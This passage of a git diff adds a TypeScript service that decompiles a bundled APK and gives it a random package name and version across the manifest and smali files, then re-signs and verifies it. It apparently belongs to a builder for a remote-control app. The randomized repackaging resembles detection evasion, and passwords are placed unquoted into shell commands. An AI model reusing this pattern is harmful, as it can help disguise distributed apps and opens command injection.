= platform() === 'win32' + + const normalizedKeystorePath = path.normalize(keystorePath) + const normalizedApkPath = path.normalize(apkPath) + + let signCommand: string + if (isWindows) { + // Windows: 使用引号包裹路径 + signCommand = `jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore "${normalizedKeystorePath}" -storepass ${keystorePassword} -keypass ${keyPassword} "${normalizedApkPath}" ${keyAlias}` + } else { + // Linux: 直接使用路径 + signCommand = `jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore "${normalizedKeystorePath}" -storepass ${keystorePassword} -keypass ${keyPassword} "${normalizedApkPath}" ${keyAlias}` + } + + this.addBuildLog('info', `[DEBUG] 签名命令: jarsigner ... ${keyAlias}`) + this.addBuildLog('info', `[DEBUG] keystore路径: ${normalizedKeystorePath}`) + this.addBuildLog('info', `[DEBUG] APK路径: ${normalizedApkPath}`) + + // 执行签名命令 + const result = await new Promise<{ stdout: string, stderr: string, exitCode: number }>((resolve, reject) => { + let processStdout = '' + let processStderr = '' + + const signProcess = spawn(signCommand, [], { + cwd: process.cwd(), + shell: true + }) + + this.addBuildLog('info', `[DEBUG] 签名进程已启动,PID: ${signProcess.pid}`) + + if (signProcess.stdout) { + signProcess.stdout.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStdout += text + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + this.addBuildLog('info', `jarsigner: ${trimmedLine}`) + } + }) + }) + } + + if (signProcess.stderr) { + signProcess.stderr.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStderr += text + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + // jarsigner的输出通常到stderr,但这是正常的 + if (trimmedLine.toLowerCase().includes('error') || trimmedLine.toLowerCase().includes('exception')) { + this.addBuildLog('error', `jarsigner错误: ${trimmedLine}`) + } else { + this.addBuildLog('info', `jarsigner: ${trimmedLine}`) + } + } + }) + }) + } + + signProcess.on('close', (code: number | null) => { + const exitCode = code || 0 + if (exitCode === 0) { + this.addBuildLog('info', `[DEBUG] jarsigner执行完成,退出码: ${exitCode}`) + resolve({ stdout: processStdout, stderr: processStderr, exitCode }) + } else { + this.addBuildLog('error', `[DEBUG] jarsigner执行失败,退出码: ${exitCode}`) + const error = new Error(`jarsigner执行失败,退出码: ${exitCode}`) + ; (error as any).stdout = processStdout + ; (error as any).stderr = processStderr + ; (error as any).exitCode = exitCode + reject(error) + } + }) + + signProcess.on('error', (error: Error) => { + this.addBuildLog('error', `jarsigner进程错误: ${error.message}`) + reject(error) + }) + }) + + this.addBuildLog('success', `APK签名成功: ${filename}`) + + // 验证签名 + this.addBuildLog('info', '验证APK签名...') + await this.verifyAPKSignature(apkPath) + + return apkPath + } catch (error: any) { + this.addBuildLog('error', `APK签名失败: ${error.message}`) + if (error.stdout) { + const stdoutLines = error.stdout.split('\n').filter((line: string) => line.trim()) + stdoutLines.forEach((line: string) => { + this.addBuildLog('error', `jarsigner输出: ${line.trim()}`) + }) + } + if (error.stderr) { + const stderrLines = error.stderr.split('\n').filter((line: string) => line.trim()) + stderrLines.forEach((line: string) => { + this.addBuildLog('error', `jarsigner错误: ${line.trim()}`) + }) + } + return null + } + } + + /** + * 创建keystore文件 + */ + private async createKeystore(keystorePath: string, keystorePassword: string, keyAlias: string, keyPassword: string): Promise { + try { + this.addBuildLog('info', '使用keytool创建keystore...') + + const isWindows = platform() === 'win32' + const normalizedKeystorePath = path.normalize(keystorePath) + + // keytool命令参数 + // -genkeypair: 生成密钥对 + // -v: 详细输出 + // -keystore: keystore文件路径 + // -alias: 密钥别名 + // -keyalg: 密钥算法(RSA) + // -keysize: 密钥大小(2048位) + // -validity: 有效期(10000天,约27年) + // -storepass: keystore密码 + // -keypass: 密钥密码 + // -dname: 证书信息(使用默认值,非交互式) + let keytoolCommand: string + if (isWindows) { + keytoolCommand = `keytool -genkeypair -v -keystore "${normalizedKeystorePath}" -alias ${keyAlias} -keyalg RSA -keysize 2048 -validity 10000 -storepass ${keystorePassword} -keypass ${keyPassword} -dname "CN=Android, OU=Android, O=Android, L=Unknown, ST=Unknown, C=US" -noprompt` + } else { + keytoolCommand = `keytool -genkeypair -v -keystore "${normalizedKeystorePath}" -alias ${keyAlias} -keyalg RSA -keysize 2048 -validity 10000 -storepass ${keystorePassword} -keypass ${keyPassword} -dname "CN=Android, OU=Android, O=Android, L=Unknown, ST=Unknown, C=US" -noprompt` + } + + this.addBuildLog('info', `[DEBUG] keytool命令: keytool -genkeypair ...`) + this.addBuildLog('info', `[DEBUG] keystore路径: ${normalizedKeystorePath}`) + + const result = await new Promise<{ stdout: string, stderr: string, exitCode: number }>((resolve, reject) => { + let processStdout = '' + let processStderr = '' + + const keytoolProcess = spawn(keytoolCommand, [], { + cwd: process.cwd(), + shell: true + }) + + this.addBuildLog('info', `[DEBUG] keytool进程已启动,PID: ${keytoolProcess.pid}`) + + if (keytoolProcess.stdout) { + keytoolProcess.stdout.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStdout += text + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + this.addBuildLog('info', `keytool: ${trimmedLine}`) + } + }) + }) + } + + if (keytoolProcess.stderr) { + keytoolProcess.stderr.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStderr += text + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + this.addBuildLog('info', `keytool: ${trimmedLine}`) + } + }) + }) + } + + keytoolProcess.on('close', (code: number | null) => { + const exitCode = code || 0 + if (exitCode === 0) { + this.addBuildLog('info', `[DEBUG] keytool执行完成,退出码: ${exitCode}`) + resolve({ stdout: processStdout, stderr: processStderr, exitCode }) + } else { + this.addBuildLog('error', `[DEBUG] keytool执行失败,退出码: ${exitCode}`) + const error = new Error(`keytool执行失败,退出码: ${exitCode}`) + ; (error as any).stdout = processStdout + ; (error as any).stderr = processStderr + ; (error as any).exitCode = exitCode + reject(error) + } + }) + + keytoolProcess.on('error', (error: Error) => { + this.addBuildLog('error', `keytool进程错误: ${error.message}`) + reject(error) + }) + }) + + this.addBuildLog('success', 'keystore创建成功') + } catch (error: any) { + this.addBuildLog('error', `创建keystore失败: ${error.message}`) + if (error.stdout) { + const stdoutLines = error.stdout.split('\n').filter((line: string) => line.trim()) + stdoutLines.forEach((line: string) => { + this.addBuildLog('error', `keytool输出: ${line.trim()}`) + }) + } + if (error.stderr) { + const stderrLines = error.stderr.split('\n').filter((line: string) => line.trim()) + stderrLines.forEach((line: string) => { + this.addBuildLog('error', `keytool错误: ${line.trim()}`) + }) + } + throw error + } + } + + /** + * 验证APK签名 + */ + private async verifyAPKSignature(apkPath: string): Promise { + try { + this.addBuildLog('info', '使用jarsigner验证APK签名...') + + const isWindows = platform() === 'win32' + const normalizedApkPath = path.normalize(apkPath) + + let verifyCommand: string + if (isWindows) { + verifyCommand = `jarsigner -verify -verbose -certs "${normalizedApkPath}"` + } else { + verifyCommand = `jarsigner -verify -verbose -certs "${normalizedApkPath}"` + } + + const result = await new Promise<{ stdout: string, stderr: string, exitCode: number }>((resolve, reject) => { + let processStdout = '' + let processStderr = '' + + const verifyProcess = spawn(verifyCommand, [], { + cwd: process.cwd(), + shell: true + }) + + if (verifyProcess.stdout) { + verifyProcess.stdout.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStdout += text + }) + } + + if (verifyProcess.stderr) { + verifyProcess.stderr.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStderr += text + }) + } + + verifyProcess.on('close', (code: number | null) => { + const exitCode = code || 0 + if (exitCode === 0) { + // 检查输出中是否包含"jar verified" + const output = (processStdout + processStderr).toLowerCase() + if (output.includes('jar verified') || output.includes('verified')) { + this.addBuildLog('success', 'APK签名验证通过') + } else { + this.addBuildLog('warn', 'APK签名验证结果不明确') + } + resolve({ stdout: processStdout, stderr: processStderr, exitCode }) + } else { + this.addBuildLog('warn', `签名验证命令退出码: ${exitCode}`) + resolve({ stdout: processStdout, stderr: processStderr, exitCode }) + } + }) + + verifyProcess.on('error', (error: Error) => { + this.addBuildLog('warn', `签名验证命令执行失败: ${error.message}`) + // 不抛出错误,因为验证失败不影响使用 + resolve({ stdout: processStdout, stderr: processStderr, exitCode: -1 }) + }) + }) + } catch (error: any) { + this.addBuildLog('warn', `签名验证过程出错: ${error.message}`) + // 不抛出错误,因为验证失败不影响使用 + } + } + + /** + * 反编译APK + */ + private async decompileAPK(apkPath: string, outputDir: string, apktoolPath: string): Promise<{ + success: boolean + message: string + }> { + try { + this.addBuildLog('info', `反编译APK: ${apkPath} -> ${outputDir}`) + + const isWindows = platform() === 'win32' + const normalizedApkPath = path.normalize(apkPath) + const normalizedOutputDir = path.normalize(outputDir) + const normalizedApktoolPath = path.normalize(apktoolPath) + + // 构建apktool反编译命令 + let decompileCommand: string + if (isWindows) { + // Windows: 使用引号包裹路径 + decompileCommand = `java -jar "${normalizedApktoolPath}" d "${normalizedApkPath}" -o "${normalizedOutputDir}"` + } else { + // Linux: 直接使用路径 + decompileCommand = `java -jar "${normalizedApktoolPath}" d "${normalizedApkPath}" -o "${normalizedOutputDir}"` + } + + this.addBuildLog('info', `[DEBUG] 反编译命令: apktool d ...`) + this.addBuildLog('info', `[DEBUG] APK路径: ${normalizedApkPath}`) + this.addBuildLog('info', `[DEBUG] 输出目录: ${normalizedOutputDir}`) + + // 执行反编译命令 + const result = await new Promise<{ stdout: string, stderr: string, exitCode: number }>((resolve, reject) => { + let processStdout = '' + let processStderr = '' + + const decompileProcess = spawn(decompileCommand, [], { + cwd: process.cwd(), + shell: true + }) + + this.addBuildLog('info', `[DEBUG] 反编译进程已启动,PID: ${decompileProcess.pid}`) + + if (decompileProcess.stdout) { + decompileProcess.stdout.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStdout += text + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + this.addBuildLog('info', `apktool: ${trimmedLine}`) + } + }) + }) + } + + if (decompileProcess.stderr) { + decompileProcess.stderr.on('data', (data: Buffer) => { + const text = data.toString('utf8') + processStderr += text + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + // apktool的输出通常到stderr,但这是正常的 + if (trimmedLine.toLowerCase().includes('error') || trimmedLine.toLowerCase().includes('exception')) { + this.addBuildLog('error', `apktool错误: ${trimmedLine}`) + } else { + this.addBuildLog('info', `apktool: ${trimmedLine}`) + } + } + }) + }) + } + + decompileProcess.on('close', (code: number | null) => { + const exitCode = code || 0 + if (exitCode === 0) { + this.addBuildLog('info', `[DEBUG] apktool反编译完成,退出码: ${exitCode}`) + resolve({ stdout: processStdout, stderr: processStderr, exitCode }) + } else { + this.addBuildLog('error', `[DEBUG] apktool反编译失败,退出码: ${exitCode}`) + const error = new Error(`apktool反编译失败,退出码: ${exitCode}`) + ; (error as any).stdout = processStdout + ; (error as any).stderr = processStderr + ; (error as any).exitCode = exitCode + reject(error) + } + }) + + decompileProcess.on('error', (error: Error) => { + this.addBuildLog('error', `apktool进程错误: ${error.message}`) + reject(error) + }) + + // 设置超时(5分钟) + const timeoutId = setTimeout(() => { + if (decompileProcess && !decompileProcess.killed) { + this.addBuildLog('error', 'apktool反编译超时(5分钟),正在终止进程...') + if (isWindows) { + decompileProcess.kill('SIGTERM') + setTimeout(() => { + if (!decompileProcess.killed) { + decompileProcess.kill('SIGKILL') + } + }, 5000) + } else { + decompileProcess.kill('SIGTERM') + setTimeout(() => { + if (!decompileProcess.killed) { + decompileProcess.kill('SIGKILL') + } + }, 5000) + } + const timeoutError = new Error('apktool反编译超时(5分钟)') + ; (timeoutError as any).stdout = processStdout + ; (timeoutError as any).stderr = processStderr + ; (timeoutError as any).exitCode = -1 + reject(timeoutError) + } + }, 300000) // 5分钟超时 + + decompileProcess.on('close', () => { + clearTimeout(timeoutId) + }) + }) + + // 检查输出目录是否创建成功 + if (fs.existsSync(outputDir)) { + const files = fs.readdirSync(outputDir) + if (files.length > 0) { + this.addBuildLog('success', `反编译成功,输出目录包含 ${files.length} 个项目`) + return { + success: true, + message: '反编译成功' + } + } else { + this.addBuildLog('warn', '反编译完成,但输出目录为空') + return { + success: false, + message: '反编译完成,但输出目录为空' + } + } + } else { + this.addBuildLog('error', '反编译完成,但输出目录不存在') + return { + success: false, + message: '反编译完成,但输出目录不存在' + } + } + } catch (error: any) { + this.addBuildLog('error', `反编译APK失败: ${error.message}`) + if (error.stdout) { + const stdoutLines = error.stdout.split('\n').filter((line: string) => line.trim()) + stdoutLines.forEach((line: string) => { + this.addBuildLog('error', `apktool输出: ${line.trim()}`) + }) + } + if (error.stderr) { + const stderrLines = error.stderr.split('\n').filter((line: string) => line.trim()) + stderrLines.forEach((line: string) => { + this.addBuildLog('error', `apktool错误: ${line.trim()}`) + }) + } + return { + success: false, + message: error.message || '反编译APK失败' + } + } + } + + /** + * 生成随机版本号 + */ + private generateRandomVersion(): { versionCode: number, versionName: string } { + // 生成随机versionCode(1000000-9999999之间的随机数) + const versionCode = Math.floor(Math.random() * 9000000) + 1000000 + + // 生成随机versionName(格式:主版本.次版本.修订版本) + // 主版本:1-99 + // 次版本:0-999 + // 修订版本:0-9999 + const major = Math.floor(Math.random() * 99) + 1 + const minor = Math.floor(Math.random() * 1000) + const patch = Math.floor(Math.random() * 10000) + + const versionName = `${major}.${minor}.${patch}` + + return { + versionCode, + versionName + } + } + + /** + * 修改APK版本号 + */ + private async changeVersion(sourceApkPath: string, versionCode: number, versionName: string): Promise { + try { + this.addBuildLog('info', `开始修改版本号: versionCode=${versionCode}, versionName=${versionName}`) + + // 1. 修改apktool.yml中的版本信息 + const apktoolYmlPath = path.join(sourceApkPath, 'apktool.yml') + if (fs.existsSync(apktoolYmlPath)) { + let ymlContent = fs.readFileSync(apktoolYmlPath, 'utf8') + + // 替换versionCode + ymlContent = ymlContent.replace( + /versionCode:\s*\d+/g, + `versionCode: ${versionCode}` + ) + + // 替换versionName + ymlContent = ymlContent.replace( + /versionName:\s*[\d.]+/g, + `versionName: ${versionName}` + ) + + fs.writeFileSync(apktoolYmlPath, ymlContent, 'utf8') + this.addBuildLog('info', 'apktool.yml中的版本号已更新') + } + + // 2. 修改AndroidManifest.xml中的版本信息(如果存在) + const manifestPath = path.join(sourceApkPath, 'AndroidManifest.xml') + if (fs.existsSync(manifestPath)) { + let manifestContent = fs.readFileSync(manifestPath, 'utf8') + let modified = false + + // 替换android:versionCode(如果存在) + if (manifestContent.includes('android:versionCode')) { + manifestContent = manifestContent.replace( + /android:versionCode=["']\d+["']/g, + `android:versionCode="${versionCode}"` + ) + modified = true + } + + // 替换android:versionName(如果存在) + if (manifestContent.includes('android:versionName')) { + manifestContent = manifestContent.replace( + /android:versionName=["'][^"']+["']/g, + `android:versionName="${versionName}"` + ) + modified = true + } + + // 替换platformBuildVersionCode(如果存在) + if (manifestContent.includes('platformBuildVersionCode')) { + manifestContent = manifestContent.replace( + /platformBuildVersionCode=["']\d+["']/g, + `platformBuildVersionCode="${versionCode}"` + ) + modified = true + } + + // 替换platformBuildVersionName(如果存在) + if (manifestContent.includes('platformBuildVersionName')) { + manifestContent = manifestContent.replace( + /platformBuildVersionName=["'][^"']+["']/g, + `platformBuildVersionName="${versionName}"` + ) + modified = true + } + + if (modified) { + fs.writeFileSync(manifestPath, manifestContent, 'utf8') + this.addBuildLog('info', 'AndroidManifest.xml中的版本号已更新') + } + } + + this.addBuildLog('success', '版本号修改完成') + } catch (error: any) { + this.addBuildLog('error', `修改版本号失败: ${error.message}`) + throw error + } + } + + /** + * 生成随机包名 + */ + private generateRandomPackageName(): string { + // 生成类似 com.abc123def456 的随机包名 + const randomString = () => { + const chars = 'abcdefghijklmnopqrstuvwxyz' + const nums = '0123456789' + let result = '' + // 3-5个小写字母 + for (let i = 0; i < 3 + Math.floor(Math.random() * 3); i++) { + result += chars.charAt(Math.floor(Math.random() * chars.length)) + } + // 3-6个数字 + for (let i = 0; i < 3 + Math.floor(Math.random() * 4); i++) { + result += nums.charAt(Math.floor(Math.random() * nums.length)) + } + // 3-5个小写字母 + for (let i = 0; i < 3 + Math.floor(Math.random() * 3); i++) { + result += chars.charAt(Math.floor(Math.random() * chars.length)) + } + return result + } + + // 生成两级包名:com.xxxxx + const firstLevel = ['com', 'net', 'org', 'io'][Math.floor(Math.random() * 4)] + const secondLevel = randomString() + + return `${firstLevel}.${secondLevel}` + } + + /** + * 修改APK包名 + */ + private async changePackageName(sourceApkPath: string, oldPackageName: string, newPackageName: string): Promise { + try { + this.addBuildLog('info', `开始修改包名: ${oldPackageName} -> ${newPackageName}`) + + // 1. 修改AndroidManifest.xml + const manifestPath = path.join(sourceApkPath, 'AndroidManifest.xml') + if (fs.existsSync(manifestPath)) { + let manifestContent = fs.readFileSync(manifestPath, 'utf8') + + // 替换package属性 + manifestContent = manifestContent.replace( + new RegExp(`package=["']${oldPackageName.replace(/\./g, '\\.')}["']`, 'g'), + `package="${newPackageName}"` + ) + + // 替换所有包名引用(在android:name等属性中) + const oldPackageRegex = new RegExp(oldPackageName.replace(/\./g, '\\.'), 'g') + manifestContent = manifestContent.replace(oldPackageRegex, newPackageName) + + fs.writeFileSync(manifestPath, manifestContent, 'utf8') + this.addBuildLog('info', 'AndroidManifest.xml已更新') + } + + // 2. 先更新所有smali文件中的包名引用(必须在重命名目录之前) + // 这是关键步骤:先更新文件内容,再重命名目录,避免引用不匹配 + this.addBuildLog('info', '开始更新所有smali文件中的包名引用(关键步骤:先更新文件内容)...') + await this.updateAllSmaliFiles(sourceApkPath, oldPackageName, newPackageName) + this.addBuildLog('success', '所有smali文件中的包名引用已更新') + + // 3. 重命名smali目录结构(使用复制+删除方式,避免Windows权限问题) + this.addBuildLog('info', '开始重命名smali目录结构...') + await this.renameAllSmaliDirectories(sourceApkPath, oldPackageName, newPackageName) + + // 4. 更新apktool.yml文件(如果存在) + const apktoolYmlPath = path.join(sourceApkPath, 'apktool.yml') + if (fs.existsSync(apktoolYmlPath)) { + try { + let ymlContent = fs.readFileSync(apktoolYmlPath, 'utf8') + const oldPackageRegex = new RegExp(oldPackageName.replace(/\./g, '\\.'), 'g') + if (ymlContent.includes(oldPackageName)) { + ymlContent = ymlContent.replace(oldPackageRegex, newPackageName) + fs.writeFileSync(apktoolYmlPath, ymlContent, 'utf8') + this.addBuildLog('info', 'apktool.yml已更新') + } + } catch (error: any) { + this.addBuildLog('warn', `更新apktool.yml失败: ${error.message}`) + } + } + + // 5. 替换其他可能包含包名的文件 + // 检查res目录下的XML文件 + const resDir = path.join(sourceApkPath, 'res') + if (fs.existsSync(resDir)) { + this.addBuildLog('info', '检查res目录中的包名引用...') + await this.replacePackageNameInDirectory(resDir, oldPackageName, newPackageName, ['.xml']) + } + + this.addBuildLog('success', '包名修改完成') + } catch (error: any) { + this.addBuildLog('error', `修改包名失败: ${error.message}`) + throw error + } + } + + /** + * 复制目录(递归) + */ + private async copyDirectory(src: string, dest: string): Promise { + // 确保目标目录存在 + if (!fs.existsSync(dest)) { + fs.mkdirSync(dest, { recursive: true }) + } + + const entries = fs.readdirSync(src, { withFileTypes: true }) + + for (const entry of entries) { + const srcPath = path.join(src, entry.name) + const destPath = path.join(dest, entry.name) + + if (entry.isDirectory()) { + await this.copyDirectory(srcPath, destPath) + } else { + fs.copyFileSync(srcPath, destPath) + } + } + } + + /** + * 删除目录(带重试机制,跨平台兼容) + */ + private async deleteDirectoryWithRetry(dirPath: string, maxRetries: number = 3): Promise { + for (let attempt = 1; attempt <= maxRetries; attempt++) { + try { + if (fs.existsSync(dirPath)) { + // 先尝试删除文件,再删除目录 + const entries = fs.readdirSync(dirPath, { withFileTypes: true }) + + for (const entry of entries) { + const entryPath = path.join(dirPath, entry.name) + if (entry.isDirectory()) { + await this.deleteDirectoryWithRetry(entryPath, maxRetries) + } else { + // 尝试删除文件,如果失败则等待后重试 + let fileDeleted = false + for (let fileAttempt = 1; fileAttempt <= maxRetries; fileAttempt++) { + try { + fs.unlinkSync(entryPath) + fileDeleted = true + break + } catch (error: any) { + if (fileAttempt < maxRetries) { + this.addBuildLog('warn', `删除文件失败,等待后重试 (${fileAttempt}/${maxRetries}): ${entryPath}`) + await new Promise(resolve => setTimeout(resolve, 500 * fileAttempt)) + } else { + throw error + } + } + } + if (!fileDeleted) { + throw new Error(`无法删除文件: ${entryPath}`) + } + } + } + + // 删除空目录(跨平台兼容) + try { + fs.rmdirSync(dirPath) + } catch (rmdirError: any) { + // 如果rmdirSync失败,尝试使用rmSync(Node.js 14.14.0+) + if (typeof (fs as any).rmSync === 'function') { + try { + (fs as any).rmSync(dirPath, { recursive: true, force: true }) + } catch (rmError: any) { + throw rmdirError // 如果都失败,抛出原始错误 + } + } else { + throw rmdirError + } + } + return + } + } catch (error: any) { + if (attempt < maxRetries) { + this.addBuildLog('warn', `删除目录失败,等待后重试 (${attempt}/${maxRetries}): ${dirPath}`) + await new Promise(resolve => setTimeout(resolve, 1000 * attempt)) + } else { + this.addBuildLog('error', `删除目录失败,已重试${maxRetries}次: ${dirPath}`) + // 不抛出错误,继续执行(可能被其他进程占用) + this.addBuildLog('warn', '目录可能被其他进程占用,将在后续清理中处理') + } + } + } + } + + /** + * 清理空的目录 + */ + private cleanupEmptyDirectories(baseDir: string, packageParts: string[]): void { + let currentDir = baseDir + for (let i = packageParts.length - 1; i >= 0; i--) { + currentDir = path.join(currentDir, packageParts[i]) + if (fs.existsSync(currentDir)) { + try { + const files = fs.readdirSync(currentDir) + if (files.length === 0) { + fs.rmdirSync(currentDir) + this.addBuildLog('info', `已删除空目录: ${currentDir}`) + } else { + break + } + } catch { + // 忽略错误 + } + } + } + } + + /** + * 更新所有smali文件中的包名引用(包括smali和smali_classes*目录) + */ + private async updateAllSmaliFiles(sourceApkPath: string, oldPackageName: string, newPackageName: string): Promise { + const oldPackageSmali = oldPackageName.replace(/\./g, '/') + const newPackageSmali = newPackageName.replace(/\./g, '/') + + // 处理主smali目录 + const smaliDir = path.join(sourceApkPath, 'smali') + if (fs.existsSync(smaliDir)) { + this.addBuildLog('info', '更新smali目录中的文件...') + await this.replacePackageNameInSmaliFiles(smaliDir, oldPackageName, newPackageName, oldPackageSmali, newPackageSmali) + } + + // 处理smali_classes2, smali_classes3等目录(如果有) + for (let i = 2; i <= 10; i++) { + const smaliClassDir = path.join(sourceApkPath, `smali_classes${i}`) + if (fs.existsSync(smaliClassDir)) { + this.addBuildLog('info', `更新smali_classes${i}目录中的文件...`) + await this.replacePackageNameInSmaliFiles(smaliClassDir, oldPackageName, newPackageName, oldPackageSmali, newPackageSmali) + } + } + } + + /** + * 重命名所有smali目录结构(包括smali和smali_classes*目录) + */ + private async renameAllSmaliDirectories(sourceApkPath: string, oldPackageName: string, newPackageName: string): Promise { + const oldPackagePath = oldPackageName.split('.') + const newPackagePath = newPackageName.split('.') + + // 处理主smali目录 + const smaliDir = path.join(sourceApkPath, 'smali') + if (fs.existsSync(smaliDir)) { + await this.renameSmaliDirectory(smaliDir, oldPackagePath, newPackagePath) + } + + // 处理smali_classes2, smali_classes3等目录 + for (let i = 2; i <= 10; i++) { + const smaliClassDir = path.join(sourceApkPath, `smali_classes${i}`) + if (fs.existsSync(smaliClassDir)) { + await this.renameSmaliDirectory(smaliClassDir, oldPackagePath, newPackagePath) + } + } + } + + /** + * 重命名单个smali目录 + */ + private async renameSmaliDirectory(smaliDir: string, oldPackagePath: string[], newPackagePath: string[]): Promise { + const oldSmaliPath = path.join(smaliDir, ...oldPackagePath) + const newSmaliPath = path.join(smaliDir, ...newPackagePath) + + if (fs.existsSync(oldSmaliPath)) { + // 确保新目录的父目录存在 + const newSmaliParent = path.dirname(newSmaliPath) + if (!fs.existsSync(newSmaliParent)) { + fs.mkdirSync(newSmaliParent, { recursive: true }) + } + + // 如果新目录已存在,先删除(跨平台兼容) + if (fs.existsSync(newSmaliPath)) { + this.addBuildLog('info', '删除已存在的新目录...') + await this.deleteDirectoryWithRetry(newSmaliPath, 1) + } + + // 使用复制+删除方式,避免Windows权限问题(跨平台兼容) + // 使用path.sep显示路径,但smali路径始终使用/(Android标准) + const displayOldPath = oldPackagePath.join('/') + const displayNewPath = newPackagePath.join('/') + this.addBuildLog('info', `复制目录: ${displayOldPath} -> ${displayNewPath}`) + await this.copyDirectory(oldSmaliPath, newSmaliPath) + + // 删除旧目录(使用重试机制) + this.addBuildLog('info', '删除旧目录...') + await this.deleteDirectoryWithRetry(oldSmaliPath, 3) + + this.addBuildLog('success', `smali目录已重命名: ${oldPackagePath.join('.')} -> ${newPackagePath.join('.')}`) + + // 清理空的旧目录 + this.cleanupEmptyDirectories(smaliDir, oldPackagePath) + } else { + this.addBuildLog('warn', `旧目录不存在: ${oldSmaliPath}`) + } + } + + /** + * 递归替换smali文件中的包名 + */ + private async replacePackageNameInSmaliFiles(dir: string, oldPackageName: string, newPackageName: string, oldPackageSmali?: string, newPackageSmali?: string): Promise { + // 如果没有提供smali格式的包名,自动生成 + if (!oldPackageSmali) { + oldPackageSmali = oldPackageName.replace(/\./g, '/') + } + if (!newPackageSmali) { + newPackageSmali = newPackageName.replace(/\./g, '/') + } + const files = fs.readdirSync(dir) + + for (const file of files) { + const filePath = path.join(dir, file) + const stat = fs.statSync(filePath) + + if (stat.isDirectory()) { + await this.replacePackageNameInSmaliFiles(filePath, oldPackageName, newPackageName) + } else if (file.endsWith('.smali')) { + try { + let content = fs.readFileSync(filePath, 'utf8') + + // 替换包名引用(Lcom/hikoncont/... -> L新包名/...) + const oldPackagePath = oldPackageName.replace(/\./g, '/') + const newPackagePath = newPackageName.replace(/\./g, '/') + + // 1. 替换类定义中的包名(.class public Lcom/hikoncont/...) + content = content.replace( + new RegExp(`\\.class[^\\n]*L${oldPackagePath.replace(/\//g, '\\/')}/`, 'g'), + (match) => match.replace(`L${oldPackagePath}/`, `L${newPackagePath}/`) + ) + + // 2. 替换类路径引用(Lcom/hikoncont/... -> L新包名/...) + // 使用单词边界确保不会误替换 + content = content.replace( + new RegExp(`L${oldPackagePath.replace(/\//g, '\\/')}/`, 'g'), + `L${newPackagePath}/` + ) + + // 3. 替换完整类名引用(com.hikoncont.ClassName -> 新包名.ClassName) + content = content.replace( + new RegExp(oldPackageName.replace(/\./g, '\\.'), 'g'), + newPackageName + ) + + // 4. 替换字符串中的包名引用("com.hikoncont" -> "新包名") + content = content.replace( + new RegExp(`"${oldPackageName.replace(/\./g, '\\.')}"`, 'g'), + `"${newPackageName}"` + ) + + // 5. 替换字符串中的包名引用('com.hikoncont' -> '新包名') + content = content.replace( + new RegExp(`'${oldPackageName.replace(/\./g, '\\.')}'`, 'g'), + `'${newPackageName}'` + ) + + fs.writeFileSync(filePath, content, 'utf8') + } catch (error: any) { + this.addBuildLog('warn', `替换文件失败 ${filePath}: ${error.message}`) + } + } + } + } + + /** + * 在目录中递归替换包名(用于XML等文件) + */ + private async replacePackageNameInDirectory(dir: string, oldPackageName: string, newPackageName: string, extensions: string[]): Promise { + if (!fs.existsSync(dir)) { + return + } + + const files = fs.readdirSync(dir) + + for (const file of files) { + const filePath = path.join(dir, file) + const stat = fs.statSync(filePath) + + if (stat.isDirectory()) { + await this.replacePackageNameInDirectory(filePath, oldPackageName, newPackageName, extensions) + } else { + const ext = path.extname(file) + if (extensions.includes(ext)) { + try { + let content = fs.readFileSync(filePath, 'utf8') + const oldPackageRegex = new RegExp(oldPackageName.replace(/\./g, '\\.'), 'g') + if (content.includes(oldPackageName)) { + content = content.replace(oldPackageRegex, newPackageName) + fs.writeFileSync(filePath, content, 'utf8') + } + } catch (error: any) { + // 忽略错误 + } + } + } + } + } + + /** + * 检查构建环境(用于apktool打包) + */ + async checkBuildEnvironment(): Promise<{ + hasJava: boolean + javaVersion?: string + errors: string[] + }> { + const result = { + hasJava: false, + javaVersion: undefined as string | undefined, + errors: [] as string[] + } + + try { + // 检查Java(必需) + try { + const { stdout } = await execAsync('java -version', { timeout: 10000 }) + result.hasJava = true + result.javaVersion = stdout.split('\n')[0] + } catch { + result.errors.push('Java未安装或未在PATH中') + } + + // 检查apktool + const apktoolPath = path.join(process.cwd(), 'android/apktool.jar') + if (!fs.existsSync(apktoolPath)) { + result.errors.push('apktool不存在: android/apktool.jar') + } + + // 检查source.apk文件 + const sourceApkFile = path.join(process.cwd(), 'android/source.apk') + if (!fs.existsSync(sourceApkFile)) { + result.errors.push('source.apk文件不存在: android/source.apk') + } + + } catch (error: any) { + this.logger.error('检查构建环境失败:', error) + result.errors.push(error.message) + } + + return result + } + + /** + * 销毁服务 + */ + destroy(): void { + this.cloudflareService.destroy() + } +} + +// 增强的构建状态接口 +interface EnhancedBuildStatus extends BuildStatus { + activeShares?: Array<{ + sessionId: string + filename: string + shareUrl: string + createdAt: string + expiresAt: string + isExpired: boolean + }> +} + +// 增强的构建结果接口 +interface BuildResult { + success: boolean + message: string + filename?: string + shareUrl?: string + shareExpiresAt?: string + sessionId?: string + shareError?: string +} + +// 构建状态接口 +interface BuildStatus { + isBuilding: boolean + progress: number + message: string + success: boolean + shareUrl?: string + shareSessionId?: string + shareExpiresAt?: string +} \ No newline at end of file diff --git a/src/services/AdaptiveQualityService.ts b/src/services/AdaptiveQualityService.ts new file mode 100644 index 0000000..5056dce --- /dev/null +++ b/src/services/AdaptiveQualityService.ts @@ -0,0 +1,278 @@ +import Logger from '../utils/Logger' 